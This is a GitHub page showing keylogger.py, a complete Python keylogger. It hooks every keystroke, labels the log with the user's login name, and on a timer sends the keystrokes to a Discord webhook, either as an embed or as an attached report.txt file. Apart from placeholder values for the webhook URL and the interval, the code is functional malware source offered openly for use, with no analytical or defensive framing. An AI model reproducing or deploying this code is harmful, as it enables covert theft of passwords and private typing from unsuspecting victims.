-
Notifications
You must be signed in to change notification settings - Fork 21
/
keylogger.py
68 lines (61 loc) · 2.3 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import keyboard,os
from threading import Timer
from datetime import datetime
from discord_webhook import DiscordWebhook, DiscordEmbed
SEND_REPORT_EVERY = TIME_IN_SECONDS_HERE
WEBHOOK = "WEBHOOK_URL_HERE"
class Keylogger:
def __init__(self, interval, report_method="webhook"):
now = datetime.now()
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = now.strftime('%d/%m/%Y %H:%M')
self.end_dt = now.strftime('%d/%m/%Y %H:%M')
self.username = os.getlogin()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def report_to_webhook(self):
flag = False
webhook = DiscordWebhook(url=WEBHOOK)
if len(self.log) > 2000:
flag = True
path = os.environ["temp"] + "\\report.txt"
with open(path, 'w+') as file:
file.write(f"Keylogger Report From {self.username} Time: {self.end_dt}\n\n")
file.write(self.log)
with open(path, 'rb') as f:
webhook.add_file(file=f.read(), filename='report.txt')
else:
embed = DiscordEmbed(title=f"Keylogger Report From ({self.username}) Time: {self.end_dt}", description=self.log)
webhook.add_embed(embed)
webhook.execute()
if flag:
os.remove(path)
def report(self):
if self.log:
if self.report_method == "webhook":
self.report_to_webhook()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="webhook")
keylogger.start()